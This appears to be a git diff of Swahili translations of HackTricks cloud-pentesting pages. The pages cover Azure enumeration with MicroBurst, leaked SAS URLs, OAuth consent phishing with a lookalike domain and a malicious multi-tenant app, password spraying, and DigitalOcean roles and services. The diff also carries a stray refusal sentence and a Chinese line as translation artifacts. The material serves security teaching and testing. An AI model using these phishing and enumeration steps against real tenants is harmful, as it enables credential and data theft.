Ikiwa **ujumbe wa nje ya ofisi** umewekwa, pia inawezekana kupata ujumbe huo kwa kutumia TeamsEnum. Ikiwa faili ya matokeo ilitolewa, ujumbe wa nje ya ofisi huhifadhiwa moja kwa moja ndani ya faili ya JSON:
Ikiwa ujumbe wa **nje ya ofisi** umewekwa, pia inawezekana kupata ujumbe huo kwa kutumia TeamsEnum. Ikiwa faili ya matokeo ilitolewa, ujumbe wa nje ya ofisi huhifadhiwa kiotomatiki ndani ya faili ya JSON:
```
jq . teamsenum-output.json
```
@@ -172,14 +172,14 @@ I'm sorry, but I cannot provide the content you requested.
Jua kwamba sasa tunajua **mikoa ambayo mteja wa Azure** anatumia, ni wakati wa kujaribu kupata **huduma za Azure zilizofichuliwa**.
Unaweza kutumia mbinu kutoka [**MicroBust**](https://github.com/NetSPI/MicroBurst) kwa lengo hilo. Kazi hii itatafuta jina la msingi la kikoa (na permutations chache) katika **mikoa ya huduma za azure:**
Unaweza kutumia mbinu kutoka [**MicroBust**](https://github.com/NetSPI/MicroBurst) kwa lengo hilo. Kazi hii itatafuta jina la kikoa cha msingi (na permutations chache) katika **mikoa ya huduma za azure:**
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Hifadhi ya Wazi
## Hifadhi Iliyofunguliwa
Unaweza kugundua hifadhi ya wazi kwa kutumia chombo kama [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) ambacho kitatumia faili **`Microburst/Misc/permitations.txt`** kuunda permutations (rahisi sana) kujaribu **kupata akaunti za hifadhi za wazi**.
Unaweza kugundua hifadhi iliyofunguliwa kwa kutumia chombo kama [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) ambacho kitatumia faili **`Microburst/Misc/permitations.txt`** kuunda permutations (rahisi sana) kujaribu **kupata akaunti za hifadhi zilizofunguliwa**.
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
```
### SAS URLs
_**sahihi ya ufikiaji wa pamoja**_ (SAS) URL ni URL ambayo **inatoa ufikiaji** kwa sehemu fulani ya akaunti ya Hifadhi (inaweza kuwa kontena kamili, faili...) kwa ruhusa maalum (kusoma, kuandika...) juu ya rasilimali. Ikiwa utapata moja iliyovuja unaweza kuwa na uwezo wa kufikia taarifa nyeti, zinaonekana kama hii (hii ni kufikia kontena, ikiwa ilikuwa inatoa ufikiaji kwa faili tu njia ya URL itakuwa na faili hiyo pia):
_**sahihi ya ufikiaji wa pamoja**_ (SAS) URL ni URL inayotoa **ufikiaji** kwa sehemu fulani ya akaunti ya Hifadhi (inaweza kuwa kontena kamili, faili...) kwa ruhusa maalum (kusoma, kuandika...) juu ya rasilimali. Ikiwa utapata moja iliyovuja unaweza kuwa na uwezo wa kufikia taarifa nyeti, zinaonekana kama hii (hii ni kufikia kontena, ikiwa ilikuwa inatoa ufikiaji kwa faili tu, njia ya URL itakuwa na faili hiyo pia):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`

View File

@@ -4,7 +4,7 @@
## OAuth App Phishing
**Azure Applications** zimewekwa na ruhusa ambazo zitakuwa zinaweza kutumika wakati mtumiaji anapokubali programu (kama kuhesabu saraka, kufikia faili, au kufanya vitendo vingine). Kumbuka, kwamba programu itakuwa inafanya kwa niaba ya mtumiaji, hivyo hata kama programu inaweza kuwa inahitaji ruhusa za usimamizi, ikiwa **mtumiaji anayekubali hana ruhusa hiyo**, programu **haitaweza kufanya vitendo vya usimamizi**.
**Azure Applications** zimewekwa na ruhusa ambazo zitakuwa na uwezo wa kutumia wakati mtumiaji anapokubali programu (kama kuhesabu directory, kufikia faili, au kufanya vitendo vingine). Kumbuka, kwamba programu itakuwa ikifanya kwa niaba ya mtumiaji, hivyo hata kama programu inaweza kuwa inahitaji ruhusa za usimamizi, ikiwa **mtumiaji anayekubali hana ruhusa hiyo**, programu **haitaweza kufanya vitendo vya usimamizi**.
### Ruhusa za kukubali programu
@@ -20,12 +20,12 @@ na ikiwa wanaweza kukubali programu zote, wanaweza kukubali programu zote.
### Aina 2 za mashambulizi
- **Unauthenticated**: Kutoka kwa akaunti ya nje, tengeneza programu yenye **ruhusa za hatari ndogo** `User.Read` na `User.ReadBasic.All` kwa mfano, phish mtumiaji, na utaweza kufikia taarifa za saraka.
- Hii inahitaji mtumiaji aliye phished kuwa **na uwezo wa kukubali programu za OAuth kutoka kwa mpangilio wa nje**
- Ikiwa mtumiaji aliye phished ni msimamizi ambaye anaweza **kukubali programu yoyote yenye ruhusa yoyote**, programu hiyo inaweza pia **kuomba ruhusa za kipaumbele**
- **Authenticated**: Baada ya kuathiri mtu mwenye ruhusa za kutosha, **tengeneza programu ndani ya akaunti** na **phish** mtumiaji **aliye na kipaumbele** ambaye anaweza kukubali ruhusa za kipaumbele za OAuth.
- Katika kesi hii tayari unaweza kufikia taarifa za saraka, hivyo ruhusa `User.ReadBasic.All` si ya kuvutia tena.
- Huenda unavutiwa na **ruhusa zinazohitaji msimamizi kuzipatia**, kwa sababu mtumiaji wa kawaida cannot kutoa ruhusa yoyote kwa programu za OAuth, ndio maana unahitaji **phish tu watumiaji hao** (zaidi kuhusu ni majukumu/ruhusa zipi zinatoa kipaumbele hiki baadaye)
- **Hawajaidhinishwa**: Kutoka kwa akaunti ya nje, tengeneza programu yenye **ruhusa za hatari ndogo** `User.Read` na `User.ReadBasic.All` kwa mfano, phish mtumiaji, na utaweza kufikia taarifa za directory.
- Hii inahitaji mtumiaji aliyephished kuwa **na uwezo wa kukubali programu za OAuth kutoka kwa mpangilio wa nje**
- Ikiwa mtumiaji aliyephished ni msimamizi ambaye anaweza **kukubali programu yoyote yenye ruhusa yoyote**, programu hiyo inaweza pia **kuomba ruhusa za kipaumbele**
- **Iliyothibitishwa**: Baada ya kuathiri mtu mwenye ruhusa za kutosha, **tengeneza programu ndani ya akaunti** na **phish** mtumiaji **aliyepata kipaumbele** ambaye anaweza kukubali ruhusa za kipaumbele za OAuth.
- Katika kesi hii tayari unaweza kufikia taarifa za directory, hivyo ruhusa `User.ReadBasic.All` si ya kuvutia tena.
- Huenda unavutiwa na **ruhusa zinazohitaji msimamizi kuzipatia**, kwa sababu mtumiaji wa kawaida hawezi kutoa ruhusa yoyote kwa programu za OAuth, ndio maana unahitaji **kuphish tu watumiaji hao** (zaidi kuhusu ni nafasi/ruhusa zipi zinatoa kipaumbele hiki baadaye)
### Watumiaji wanaruhusiwa kukubali
@@ -64,7 +64,7 @@ Shambulio linajumuisha hatua kadhaa zinazolenga kampuni ya kawaida. Hapa kuna ji
1. **Usajili wa Kikoa na Kuweka Programu**: Mshambuliaji anasajili kikoa kinachofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya kikoa hiki, subdomain inaundwa (kwa mfano, "companyname.safedomainlogin.com") ili kuweka programu iliyoundwa kukamata nambari za idhini na kuomba alama za ufikiaji.
2. **Usajili wa Programu katika Azure AD**: Mshambuliaji kisha anasajili Programu ya Multi-Tenant katika Tenant yake ya Azure AD, akiiita kwa jina la kampuni lengwa ili kuonekana halali. Wanakamilisha URL ya Redirect ya programu kuelekea subdomain inayohifadhi programu mbaya.
3. **Kuweka Ruhusa**: Mshambuliaji anapanga programu hiyo na ruhusa mbalimbali za API (kwa mfano, `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). Ruhusa hizi, mara tu zinapopewa na mtumiaji, zinamruhusu mshambuliaji kutoa taarifa nyeti kwa niaba ya mtumiaji.
4. **Kusambaza Viungo Mbaya**: Mshambuliaji anaunda kiungo kinachojumuisha kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.
4. **Kusambaza Viungo Mbaya**: Mshambuliaji anaunda kiungo kinachokuwa na kitambulisho cha mteja wa programu mbaya na kukishiriki na watumiaji walengwa, akiwadanganya kutoa idhini.
## Mfano wa Shambulio
@@ -123,9 +123,9 @@ https://graph.microsoft.com/v1.0/me/onenote/notebooks \
### Uvuvi Baada ya Kutekeleza
Kulingana na ruhusa zilizotolewa unaweza kuwa na uwezo wa **kupata data tofauti za mpangaji** (orodha ya watumiaji, vikundi... au hata kubadilisha mipangilio) na **habari za mtumiaji** (faili, maelezo, barua pepe...). Kisha, unaweza kutumia ruhusa hizi kufanya vitendo hivyo.
Kulingana na ruhusa zilizotolewa unaweza kuwa na uwezo wa **kupata data tofauti za mpangaji** (orodha ya watumiaji, vikundi... au hata kubadilisha mipangilio) na **taarifa za mtumiaji** (faili, maelezo, barua pepe...). Kisha, unaweza kutumia ruhusa hizi kufanya vitendo hivyo.
### Baada ya Kutekeleza Programu
### Programu Baada ya Kutekeleza
Angalia sehemu za Programu na Msingi wa Huduma wa ukurasa:

View File

@@ -4,7 +4,7 @@
## Password Spray
Katika **Azure** hii inaweza kufanywa dhidi ya **michakato tofauti ya API** kama Azure AD Graph, Microsoft Graph, huduma ya wavuti ya Ripoti ya Office 365, nk.
Katika **Azure**, hii inaweza kufanywa dhidi ya **API tofauti za mwisho** kama Azure AD Graph, Microsoft Graph, huduma ya wavuti ya Ripoti ya Office 365, n.k.
Hata hivyo, kumbuka kwamba mbinu hii ni **kelele sana** na Timu ya Blue inaweza **kuipata kwa urahisi**. Zaidi ya hayo, **mshikamano wa lazima wa nywila** na matumizi ya **MFA** yanaweza kufanya mbinu hii kuwa haina maana.

View File

@@ -4,22 +4,22 @@
## Basic Information
DigitalOcean ni **jukwaa la kompyuta wingu linalotoa huduma mbalimbali kwa watumiaji**, ikiwa ni pamoja na seva binafsi za virtual (VPS) na rasilimali nyingine za kujenga, kupeleka, na kusimamia programu. **Huduma za DigitalOcean zimeundwa kuwa rahisi na rahisi kutumia**, na zinawafanya **kuwa maarufu miongoni mwa wabunifu na biashara ndogo ndogo**.
DigitalOcean ni **jukwaa la kompyuta wingu linalotoa huduma mbalimbali kwa watumiaji**, ikiwa ni pamoja na seva binafsi za virtual (VPS) na rasilimali nyingine za kujenga, kupeleka, na kusimamia programu. **Huduma za DigitalOcean zimeundwa kuwa rahisi na rahisi kutumia**, na zinawafanya **kuwa maarufu miongoni mwa wabunifu na biashara ndogo**.
Baadhi ya vipengele muhimu vya DigitalOcean ni pamoja na:
- **Seva binafsi za virtual (VPS)**: DigitalOcean inatoa VPS ambazo zinaweza kutumika kuhifadhi tovuti na programu. VPS hizi zinajulikana kwa urahisi na rahisi kutumia, na zinaweza kupelekwa haraka na kwa urahisi kwa kutumia "droplets" zilizojengwa awali au mipangilio maalum.
- **Seva binafsi za virtual (VPS)**: DigitalOcean inatoa VPS ambazo zinaweza kutumika kuhifadhi tovuti na programu. VPS hizi zinajulikana kwa urahisi na rahisi kutumia, na zinaweza kupelekwa haraka na kwa urahisi kwa kutumia "droplets" zilizojengwa awali au usanidi wa kawaida.
- **Hifadhi**: DigitalOcean inatoa aina mbalimbali za chaguzi za hifadhi, ikiwa ni pamoja na hifadhi ya vitu, hifadhi ya vizuizi, na hifadhidata zinazodhibitiwa, ambazo zinaweza kutumika kuhifadhi na kusimamia data kwa tovuti na programu.
- **Zana za maendeleo na upelekezi**: DigitalOcean inatoa zana mbalimbali ambazo zinaweza kutumika kujenga, kupeleka, na kusimamia programu, ikiwa ni pamoja na APIs na droplets zilizojengwa awali.
- **Usalama**: DigitalOcean inatoa kipaumbele kikubwa kwa usalama, na inatoa zana na vipengele mbalimbali kusaidia watumiaji kulinda data na programu zao. Hii inajumuisha usimbaji, nakala za akiba, na hatua nyingine za usalama.
- **Usalama**: DigitalOcean inatoa kipaumbele kubwa kwa usalama, na inatoa zana na vipengele mbalimbali kusaidia watumiaji kulinda data na programu zao. Hii inajumuisha usimbaji, nakala za akiba, na hatua nyingine za usalama.
Kwa ujumla, DigitalOcean ni jukwaa la kompyuta wingu linalotoa watumiaji zana na rasilimali wanazohitaji kujenga, kupeleka, na kusimamia programu katika wingu. Huduma zake zimeundwa kuwa rahisi na rahisi kutumia, na zinawafanya kuwa maarufu miongoni mwa wabunifu na biashara ndogo ndogo.
Kwa ujumla, DigitalOcean ni jukwaa la kompyuta wingu linalotoa watumiaji zana na rasilimali wanazohitaji kujenga, kupeleka, na kusimamia programu katika wingu. Huduma zake zimeundwa kuwa rahisi na rahisi kutumia, na zinawafanya kuwa maarufu miongoni mwa wabunifu na biashara ndogo.
### Main Differences from AWS
Moja ya tofauti kuu kati ya DigitalOcean na AWS ni **aina ya huduma wanazotoa**. **DigitalOcean inazingatia kutoa seva binafsi za virtual (VPS) rahisi** na rahisi kutumia, hifadhi, na zana za maendeleo na upelekezi. **AWS**, kwa upande mwingine, inatoa **aina kubwa zaidi ya huduma**, ikiwa ni pamoja na VPS, hifadhi, hifadhidata, kujifunza mashine, uchambuzi, na huduma nyingine nyingi. Hii ina maana kwamba AWS inafaa zaidi kwa programu ngumu za kiwango cha biashara, wakati DigitalOcean inafaa zaidi kwa biashara ndogo ndogo na wabunifu.
Moja ya tofauti kuu kati ya DigitalOcean na AWS ni **aina ya huduma wanazotoa**. **DigitalOcean inazingatia kutoa seva binafsi za virtual (VPS) rahisi** na rahisi kutumia, hifadhi, na zana za maendeleo na upelekezi. **AWS**, kwa upande mwingine, inatoa **aina pana zaidi ya huduma**, ikiwa ni pamoja na VPS, hifadhi, hifadhidata, kujifunza mashine, uchanganuzi, na huduma nyingine nyingi. Hii ina maana kwamba AWS inafaa zaidi kwa programu ngumu za kiwango cha biashara, wakati DigitalOcean inafaa zaidi kwa biashara ndogo na wabunifu.
Tofauti nyingine muhimu kati ya majukwaa haya mawili ni **muundo wa bei**. **Bei za DigitalOcean kwa ujumla ni rahisi zaidi na rahisi** kueleweka kuliko AWS, ikiwa na mipango mbalimbali ya bei inayotegemea idadi ya droplets na rasilimali nyingine zinazotumika. AWS, kwa upande mwingine, ina muundo wa bei mgumu zaidi unaotegemea mambo mbalimbali, ikiwa ni pamoja na aina na kiasi cha rasilimali zinazotumika. Hii inaweza kufanya iwe vigumu kutabiri gharama unapotumia AWS.
Tofauti nyingine muhimu kati ya majukwaa haya mawili ni **muundo wa bei**. **Bei za DigitalOcean kwa ujumla ni rahisi zaidi na rahisi** kueleweka kuliko AWS, ikiwa na mipango mbalimbali ya bei inayotegemea idadi ya droplets na rasilimali nyingine zinazotumika. AWS, kwa upande mwingine, ina muundo wa bei mgumu zaidi unaotegemea mambo mbalimbali, ikiwa ni pamoja na aina na kiasi cha rasilimali zinazotumika. Hii inaweza kufanya kuwa vigumu kutabiri gharama unapokuwa ukitumia AWS.
## Hierarchy
@@ -29,7 +29,7 @@ Mtumiaji ni kile unachotarajia, mtumiaji. Anaweza **kuunda Timu** na **kuwa mwan
### **Team**
Timu ni kundi la **watumiaji**. Wakati mtumiaji anaunda timu, ana **jukumu la mmiliki katika timu hiyo** na awali **anapanga taarifa za bili**. **Watumiaji wengine** wanaweza kisha **kualikwa** kwenye timu.
Timu ni kundi la **watumiaji**. Wakati mtumiaji anaunda timu, ana **jukumu la mmiliki katika timu hiyo** na awali **anapanga taarifa za bili**. **Watumiaji** wengine wanaweza kisha **kualikwa** kwenye timu.
Ndani ya timu kunaweza kuwa na **miradi** kadhaa. Mradi ni tu **seti ya huduma zinazofanya kazi**. Inaweza kutumika **kutenganisha hatua tofauti za miundombinu**, kama vile prod, staging, dev...
@@ -42,19 +42,19 @@ Mradi wa Digital Ocean ni sawa sana na mradi wa GCP bila IAM.
### Team
K基本的上,所有团队成员都可以**访问团队内创建的所有项目中的DO资源权限多或少**
Kimsingi, wanachama wote wa timu wana **ufikiaji wa rasilimali za DO katika miradi yote iliyoundwa ndani ya timu (ikiwa na ruhusa zaidi au chini).**
### Roles
Kila **mtumiaji ndani ya timu** anaweza kuwa na **moja** ya hizi tatu **majukumu** ndani yake:
Kila **mtumiaji ndani ya timu** anaweza kuwa na **moja** ya hizi tatu **roles** ndani yake:
| Jukumu | Rasilimali Zilizoshirikiwa | Taarifa za Bili | Mipangilio ya Timu |
| ---------- | -------------------------- | ---------------- | ------------------- |
| **Mmiliki**| Ufikiaji kamili | Ufikiaji kamili | Ufikiaji kamili |
| **Mkulima**| Hakuna ufikiaji | Ufikiaji kamili | Hakuna ufikiaji |
| **Mwanachama**| Ufikiaji kamili | Hakuna ufikiaji | Hakuna ufikiaji |
| Role | Shared Resources | Billing Information | Team Settings |
| ---------- | ---------------- | ------------------- | ------------- |
| **Owner** | Full access | Full access | Full access |
| **Biller** | No access | Full access | No access |
| **Member** | Full access | No access | No access |
**Mmiliki** na **mwanachama wanaweza orodhesha watumiaji** na kuangalia **majukumu yao** (mkulima hawezi).
**Owner** na **member wanaweza kuorodhesha watumiaji** na kuangalia **roles zao** (biller hawezi).
## Access
@@ -98,9 +98,9 @@ Inawezekana **kuunda programu za OAuth** katika [https://cloud.digitalocean.com/
### SSH Keys
Inawezekana kuongeza **funguo za SSH kwenye Timu ya Digital Ocean** kutoka kwa **console** katika [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
Inawezekana kuongeza **funguo za SSH kwenye Timu ya Digital Ocean** kutoka **console** katika [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
Kwa njia hii, ikiwa utaunda **droplet mpya, funguo za SSH zitawekwa** juu yake na utaweza **kuingia kupitia SSH** bila nenosiri (kumbuka kwamba [funguo za SSH zilizopakiwa hivi karibuni hazijakamilishwa kwenye droplets zilizopo kwa sababu za usalama](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
Hivyo, ikiwa utaunda **droplet mpya, funguo za SSH zitawekwa** juu yake na utaweza **kuingia kupitia SSH** bila nenosiri (kumbuka kwamba [funguo za SSH zilizopakiwa hivi karibuni hazijawekwa kwenye droplets zilizopo kwa sababu za usalama](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
### Functions Authentication Token

View File

@@ -1,7 +1,7 @@
# DO - Ruhusa za Pentest
# DO - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
DO haisaidii ruhusa za kina. Hivyo, **jukumu la chini** linalomruhusu mtumiaji kupitia rasilimali zote ni **mwanachama**. Pentester mwenye ruhusa hii ataweza kufanya shughuli hatari, lakini ndivyo ilivyo.
DO haisaidii ruhusa za kina. Hivyo, **jukumu la chini** linalomruhusu mtumiaji kupitia rasilimali zote ni **mwanachama**. Mpiga mtihani wa pentest mwenye ruhusa hii ataweza kufanya shughuli hatari, lakini ndivyo ilivyo.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,7 +6,7 @@
[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform ni huduma ya Platform-as-a-Service (PaaS) inayowezesha wabunifu **kuchapisha msimbo moja kwa moja kwenye seva za DigitalOcean** bila wasiwasi kuhusu miundombinu ya chini.
Unaweza kuendesha msimbo moja kwa moja kutoka **github**, **gitlab**, **docker hub**, **DO container registry** (au programu ya sampuli).
Unaweza kuendesha msimbo moja kwa moja kutoka **github**, **gitlab**, **docker hub**, **DO container registry** (au programu ya mfano).
Unapofafanua **env var** unaweza kuipanga kama **encrypted**. Njia pekee ya **retreive** thamani yake ni kutekeleza **commands** ndani ya mwenyeji anayekimbia programu.

View File

@@ -6,7 +6,7 @@
DigitalOcean Container Registry ni huduma inayotolewa na DigitalOcean ambayo **inakuwezesha kuhifadhi na kusimamia picha za Docker**. Ni **rejista ya kibinafsi**, ambayo ina maana kwamba picha unazohifadhi ndani yake zinapatikana tu kwako na watumiaji ambao unawapa uf access. Hii inakuwezesha kuhifadhi na kusimamia picha zako za Docker kwa usalama, na kuzitumia kupeleka kontena kwenye DigitalOcean au mazingira mengine yoyote yanayounga mkono Docker.
Wakati wa kuunda Rejista ya Kontena inawezekana **kuunda siri yenye uf access wa kuvuta picha (kusoma) juu yake katika majina yote** ya nafasi za Kubernetes.
Wakati wa kuunda Rejista ya Kontena inawezekana **kuunda siri yenye uf access wa kuvuta picha (kusoma) juu yake katika majina yote** ya nafasi za Kubernetes clusters.
### Connection
```bash

View File

@@ -4,13 +4,13 @@
## Basic Information
Na DigitalOcean Databases, unaweza kwa urahisi **kuunda na kusimamia databases katika wingu** bila kuwa na wasiwasi kuhusu miundombinu ya msingi. Huduma inatoa chaguzi mbalimbali za database, ikiwa ni pamoja na **MySQL**, **PostgreSQL**, **MongoDB**, na **Redis**, na inatoa zana za kusimamia na kufuatilia databases zako. DigitalOcean Databases imeundwa kuwa na uwezo mkubwa wa kupanuka, kuaminika, na salama, na kuifanya kuwa chaguo bora kwa kuendesha programu na tovuti za kisasa.
Na DigitalOcean Databases, unaweza kwa urahisi **kuunda na kusimamia databases katika wingu** bila kuwa na wasiwasi kuhusu miundombinu ya msingi. Huduma inatoa aina mbalimbali za chaguzi za database, ikiwa ni pamoja na **MySQL**, **PostgreSQL**, **MongoDB**, na **Redis**, na inatoa zana za kusimamia na kufuatilia databases zako. DigitalOcean Databases imeundwa kuwa na uwezo mkubwa wa kupanuka, kuaminika, na salama, na kuifanya kuwa chaguo bora kwa kuendesha programu na tovuti za kisasa.
### Connections details
Unapounda database unaweza kuchagua kuikamilisha **inayopatikana kutoka mtandao wa umma**, au kutoka ndani ya **VPC**. Aidha, inakuomba **kuorodhesha IPs ambazo zinaweza kuipata** (IPv4 yako inaweza kuwa moja).
Unapounda database unaweza kuchagua kuikamilisha **inayopatikana kutoka mtandao wa umma**, au kutoka ndani ya **VPC**. Aidha, inakuomba **kuweka IPs kwenye orodha ya ruhusa zinazoweza kuipata** (IPv4 yako inaweza kuwa moja).
**host**, **port**, **dbname**, **username**, na **password** zinaonyeshwa katika **console**. Unaweza hata kupakua cheti cha AD ili kuungana kwa usalama.
**host**, **port**, **dbname**, **username**, na **password** zinaonyeshwa katika **console**. Unaweza hata kupakua cheti cha AD kuungana kwa usalama.
```bash
sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
```

View File

@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
Katika DigitalOcean, "droplet" ni v**irtual private server (VPS)** ambayo inaweza kutumika kuhost tovuti na programu. Droplet ni **kifurushi kilichopangwa kabla cha rasilimali za kompyuta**, ikiwa ni pamoja na kiasi fulani cha CPU, kumbukumbu, na uhifadhi, ambacho kinaweza kuanzishwa haraka na kwa urahisi kwenye miundombinu ya wingu ya DigitalOcean.
Katika DigitalOcean, "droplet" ni v**irtual private server (VPS)** ambayo inaweza kutumika kuhost tovuti na programu. Droplet ni **kifurushi kilichopangwa awali cha rasilimali za kompyuta**, ikiwa ni pamoja na kiasi fulani cha CPU, kumbukumbu, na uhifadhi, ambacho kinaweza kuanzishwa haraka na kwa urahisi kwenye miundombinu ya wingu ya DigitalOcean.
Unaweza kuchagua kutoka **OS za kawaida**, hadi **programu** ambazo tayari zinafanya kazi (kama WordPress, cPanel, Laravel...), au hata kupakia na kutumia **picha zako mwenyewe**.
Unaweza kuchagua kutoka kwa **OS za kawaida**, hadi **programu** ambazo tayari zinafanya kazi (kama WordPress, cPanel, Laravel...), au hata kupakia na kutumia **picha zako mwenyewe**.
Droplets zinasaidia **User data scripts**.
@@ -14,26 +14,26 @@ Droplets zinasaidia **User data scripts**.
<summary>Tofauti kati ya snapshot na backup</summary>
Katika DigitalOcean, snapshot ni nakala ya wakati fulani ya diski ya Droplet. Inachukua hali ya diski ya Droplet wakati snapshot ilipofanywa, ikiwa ni pamoja na mfumo wa uendeshaji, programu zilizowekwa, na faili zote na data kwenye diski.
Katika DigitalOcean, snapshot ni nakala ya wakati wa Droplet's disk. Inachukua hali ya Droplet's disk wakati snapshot ilipokuwa inachukuliwa, ikiwa ni pamoja na mfumo wa uendeshaji, programu zilizowekwa, na faili zote na data kwenye disk.
Snapshots zinaweza kutumika kuunda Droplets mpya zikiwa na usanidi sawa na Droplet asilia, au kurejesha Droplet katika hali ambayo ilikuwa wakati snapshot ilipofanywa. Snapshots zinahifadhiwa kwenye huduma ya uhifadhi wa vitu ya DigitalOcean, na ni za ongezeko, ikimaanisha kuwa mabadiliko pekee tangu snapshot ya mwisho yanahifadhiwa. Hii inafanya kuwa rahisi kuzitumia na gharama nafuu kuzihifadhi.
Snapshots zinaweza kutumika kuunda Droplets mpya zikiwa na usanidi sawa na Droplet asilia, au kurejesha Droplet katika hali ambayo ilikuwa wakati snapshot ilipokuwa inachukuliwa. Snapshots zinahifadhiwa kwenye huduma ya uhifadhi wa vitu ya DigitalOcean, na ni za ongezeko, ikimaanisha kuwa mabadiliko pekee tangu snapshot ya mwisho yanahifadhiwa. Hii inafanya kuwa rahisi kuzitumia na gharama nafuu kuzihifadhi.
Kwa upande mwingine, backup ni nakala kamili ya Droplet, ikiwa ni pamoja na mfumo wa uendeshaji, programu zilizowekwa, faili, na data, pamoja na mipangilio na metadata ya Droplet. Backups kwa kawaida hufanywa kwa ratiba ya kawaida, na zinachukua hali nzima ya Droplet katika wakati maalum.
Kinyume na snapshots, backups zinahifadhiwa katika muundo wa kubana na kuandikwa, na zinahamishwa nje ya miundombinu ya DigitalOcean kwenda mahali salama kwa ajili ya uhifadhi. Hii inafanya backups kuwa bora kwa ajili ya urejeleaji wa majanga, kwani zinatoa nakala kamili ya Droplet ambayo inaweza kurejeshwa katika tukio la kupoteza data au matukio mengine mabaya.
Kinyume na snapshots, backups zinahifadhiwa katika muundo wa kubana na kuandikwa, na zinahamishwa nje ya miundombinu ya DigitalOcean kwenda eneo la mbali kwa ajili ya usalama. Hii inafanya backups kuwa bora kwa urejeleaji wa majanga, kwani zinatoa nakala kamili ya Droplet ambayo inaweza kurejeshwa katika tukio la kupoteza data au matukio mengine mabaya.
Kwa muhtasari, snapshots ni nakala za wakati fulani za diski ya Droplet, wakati backups ni nakala kamili ya Droplet, ikiwa ni pamoja na mipangilio na metadata yake. Snapshots zinahifadhiwa kwenye huduma ya uhifadhi wa vitu ya DigitalOcean, wakati backups zinahamishwa nje ya miundombinu ya DigitalOcean kwenda mahali salama. Snapshots na backups zote zinaweza kutumika kurejesha Droplet, lakini snapshots ni rahisi kuzitumia na kuzihifadhi, wakati backups zinatoa suluhisho la kina zaidi la backup kwa ajili ya urejeleaji wa majanga.
Kwa muhtasari, snapshots ni nakala za wakati wa Droplet's disk, wakati backups ni nakala kamili ya Droplet, ikiwa ni pamoja na mipangilio na metadata yake. Snapshots zinahifadhiwa kwenye huduma ya uhifadhi wa vitu ya DigitalOcean, wakati backups zinahamishwa nje ya miundombinu ya DigitalOcean kwenda eneo la mbali. Snapshots na backups zote zinaweza kutumika kurejesha Droplet, lakini snapshots ni rahisi kuzitumia na kuzihifadhi, wakati backups zinatoa suluhisho la kina zaidi la backup kwa urejeleaji wa majanga.
</details>
### Authentication
### Uthibitishaji
Kwa uthibitishaji inawezekana **kuwezesha SSH** kupitia jina la mtumiaji na **nenosiri** (nenosiri lililofafanuliwa wakati droplet inaundwa). Au **chagua moja au zaidi ya funguo za SSH zilizopakiwa**.
### Firewall
> [!CAUTION]
> Kwa default **droplets zinaundwa BILA FIREWALL** (sio kama katika mawingu mengine kama AWS au GCP). Hivyo kama unataka DO kulinda bandari za droplet (VM), unahitaji **kuunda na kuunganisha**.
> Kawaida **droplets zinaundwa BILA FIREWALL** (sio kama katika mawingu mengine kama AWS au GCP). Hivyo kama unataka DO kulinda bandari za droplet (VM), unahitaji **kuunda na kuunganisha**.
Maelezo zaidi katika:
@@ -41,7 +41,7 @@ Maelezo zaidi katika:
do-networking.md
{{#endref}}
### Enumeration
### Uainishaji
```bash
# VMs
doctl compute droplet list # IPs will appear here

View File

@@ -21,7 +21,7 @@ Ili kuona jinsi zana ya **`doctl`** cli inavyopata token hii (ili uweze kuiga),
```bash
doctl serverless connect --trace
```
**Wakati kipengele cha HTTP kinapoanzishwa**, kazi ya wavuti inaweza kuitwa kupitia hizi **mbinu za HTTP GET, POST, PUT, PATCH, DELETE, HEAD na OPTIONS**.
**Wakati kipimo cha HTTP kimewezeshwa**, kazi ya wavuti inaweza kuitwa kupitia hizi **mbinu za HTTP GET, POST, PUT, PATCH, DELETE, HEAD na OPTIONS**.
> [!CAUTION]
> Katika DO functions, **mabadiliko ya mazingira hayawezi kufichwa** (wakati wa kuandika hii).\

View File

@@ -6,7 +6,7 @@
DigitalOcean Images ni **picha za mfumo wa uendeshaji au programu zilizojengwa awali** ambazo zinaweza kutumika kuunda Droplets mpya (mashine za virtual) kwenye DigitalOcean. Zinashabihiana na templeti za mashine za virtual, na zinakuwezesha **kuunda Droplets mpya kwa haraka na kwa urahisi na mfumo wa uendeshaji** na programu unazohitaji.
DigitalOcean inatoa aina mbalimbali za Images, ikiwa ni pamoja na mifumo maarufu ya uendeshaji kama Ubuntu, CentOS, na FreeBSD, pamoja na picha za programu zilizopangwa awali kama LAMP, MEAN, na LEMP stacks. Unaweza pia kuunda picha zako za kawaida, au kutumia picha kutoka kwa jamii.
